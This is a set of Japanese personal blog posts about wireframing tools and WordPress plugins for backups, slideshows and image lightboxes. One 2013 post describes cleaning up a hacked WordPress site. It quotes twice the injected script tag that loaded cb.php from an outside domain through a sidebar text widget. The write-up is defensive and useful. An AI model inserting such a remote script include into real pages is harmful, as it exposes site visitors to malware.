2014年7月8日火曜日

【無料】ワイヤーフレーム・フローチャート作成がブラウザ上でできるツール

WEBサイトを作るとき大切な
【ワイヤーフレーム】(サイトの設計図)ですが、
いろいろと試行錯誤しました。

まずは手書きでラフスケッチを書いて考えをまとめます。
これは今でもやります。



その次に、コンテンツを配置して、よりイメージしやすくするために
PCでワイヤーフレームを作ります。

一番最初のころはエクセルで作っていました。


その次に、ブラウザ上で作成・保存できる
「Gliffy」 を使用していました。

http://www.gliffy.com/

英語ですが、感覚的に描画でき、ブラウザがあればどこでも呼び出し、編集できるので
重宝していたのですが、
無料ユーザーで保存できる図が5つと限られています。



有料の standard会員になると、 月額 $3.99 で 200の図が保存できるので、
安いもんなんですが、
日本語の同じようなサービスで 「Cacoo」 というサービスを見つけたので、
今はこちらで作成しています。

 「Cacoo」

https://cacoo.com/

無料会員で 25シート 利用できます。
しかも他ユーザーと共有でき、共同編集できるので
会社やチームでの利用もしやすいですね。

人数や図の数などによって、有料会員(490円/月から)もあります。




2013年2月1日金曜日

【Wordpress】サイトで改ざんされました

Wordpressで管理してるサイトを開こうと思ったら

「警告: 不正なソフトウェアが存在する可能性があります」
と表示されました。

サイト内のどこかに不正な→abrahamspath.org.ukヘのリンクを含んでいると。。。


まずは落ち着くこと。。。
冷静に冷静に。

一番はじめにサイトをメンテナンス中にしました。


次に、どこが改ざんされたんだろうとサーバー上のファイルをくまなく探しました。
タイムスタンプを見て、覚えのない時間に更新されたものを探しました。



でも、ないんです(><)

それらしき怪しい更新のファイルがない!


次にやったことは

1)
ルートディレクトリごとサーバーからダウンロードしました。

2)
後から原因究明できるかもしれないので、改ざんされた状態のまま
バックアップとりました。

3)
ネットを切断し、DWで全検索「abrahamspath」かけました。

すると出てきたんです!

データベースバックアップ プラグイン 「WP-DBManager」
その中のバックアップファイル
/wp-content/backup-db/  内のsqlファイルです。

4)
そのファイルをテキストエディタ Terapad で開きました。

5)
そこでまた「abrahamspath」の検索。

そしたら
<script type=\"text/javascript\" src=\"http://abrahamspath.org.uk/cb.php\"></script>

がどこかに埋め込まれているようです!

正直、ソースを見てもどこなのかははっきりわからない!

だけど、上下のたまに出てくる文字列、リンクから察するに、
サイドバーのあたりじゃないかという気がしました。

6)
サイドバーのphpファイルを確認するも問題ない。。

次に見たのが ウィジェット です!

そこで見つけました!!!!!



サイドバーウィジェットの中に「テキスト」が作られていて

<script type=\"text/javascript\" src=\"http://abrahamspath.org.uk/cb.php\"></script>

ありました。


なぜそんなところ、すぐに見つけられなかったのか、
情けない限りですが(笑)

こんなパターンで不正なタグが書き込まれることもありますので、
参考までに(^^)


ローカルのウイルスチェックをして、感染してないことに一安心です!



パスワードはこまめに変えましょうね。



2012年11月16日金曜日

【Wordpress】オールインワンのバックアップ 『BackWPup』

今までWordpressのバックアップは「WP-DBManager」を使っていました。

これでバックアップできてると思ってたのですが、なんと投稿記事のみのバックアップだったそうで。。。

プラグインやテーマなど全部バックアップできるプラグインはないものかと探してみたらありました。

BackWPup

このプラグインのすごいところは、サーバーやメールでバックアップファイルを保存するだけでなく、
Dropboxなどオンラインストレージ上にバックアップファイルを自動で保存できること。
サーバーがクラッシュしたときの為に別の場所にバックアップとっておくと安心です。



設定方法については以下の記事を参考にしました。

今こそ安心できるWordPressバックアップを!復旧作業まで実際にやってみたWordPress丸ごとバックアップ法



使用しているサーバーは「さくらのレンタルサーバー」と「エクストリムサーバー」

さくらのレンタルサーバーは問題なくバックアップできましたが、
エクストリムについては何故か「Jobs」から「RunNow」を押しても
画面は真っ黒のまんまで0%から動きゃしない。。。


いろいろ原因を調べた結果、
「wp-content」の「パーミッション」を変更したことで無事「Dropbox」に保存できました。

2012年9月14日金曜日

【Wordpress】簡単イメージスライダー。トップページのスライドショー

Wordpressでクライアントのサイトを作る際、トップページに画像が切り替わるスライドショーをよく使います。

条件としては

 ・「コンテンツスライダー」(記事内の写真を表示するもの)ではなく「イメージスライダー」(見せたい画像だけを表示)
 ・余計な装飾は極力ないシンプルなもの
 ・サムネイルがない(あり・なしが選べるもの)
 ・サイズの指定が可能
 ・ショートコードを張るだけで設置できる

そんな理想の形のプラグインを見つけました。

「Easing Slider」


画像の登録は画像のパスを記入するだけ!
表示もショートコードを入れるだけ!

といった超シンプルな操作でできちゃいます。
設定は英語なので細かく設定する場合はわかりにくいかもしれませんが、翻訳しながらなんとなくできます。

こちらの記事を参考に
WordPressプラグイン「Easing Slider」でスライドショー簡単設置



ですが、何故かIE8だけスライドショーが表示されない!!!
真っ白です。
IE7や他のブラウザは表示されるのに、IE8だけが....


いろいろ調べてみましたが、原因も解決策も見つからず(;;)

ただただ時間が過ぎていくので、他のプラグインを探していると
見つけました!!!!!





「Cyclone Slider」


日本語でどなたかが解説してくれているというものが全くなかったのですが、
デモを見てみるとまさしく理想どおり★

試しにインストールしてみるとあら簡単(*´艸`*)
もちろんIE8の表示もできます!


>>Cyclone Slider デモはこちら






操作も英語が得意じゃなくてもカンタンです。


1.「add slideshow」でまずタイトルをつけます。
2.「slide」バーの「toggele」で詳細を開きます。
3.「get image」で画像をアップ。
4. 右側の「更新」を忘れずに


これがカンタンな流れです。

画像を追加する場合は
「Add Slide」を押し、2~4を繰り返します。

その下の「Slide Template」からはいくつかの表示形式が選べます。


右メニューの詳細設定も簡単な英語が並んでいるので、感覚的にわかると思いますよ。













2011年2月8日火曜日

【無料】超簡単!写真をその場で拡大表示『Lightbox Plus』

フォトアルバムや画像を拡大表示させたいときに便利な『Lightbox plus』

javascriptの知識がなくても簡単に設置できます!
「別窓で表示」よりもスマートでオススメです。

Lightbox plus配布サイト

サイトに設置方法も書いてあるので、その通りにファイルを修正するだけ。

こちらのサイトも参考にするともっとよく分かりますよ。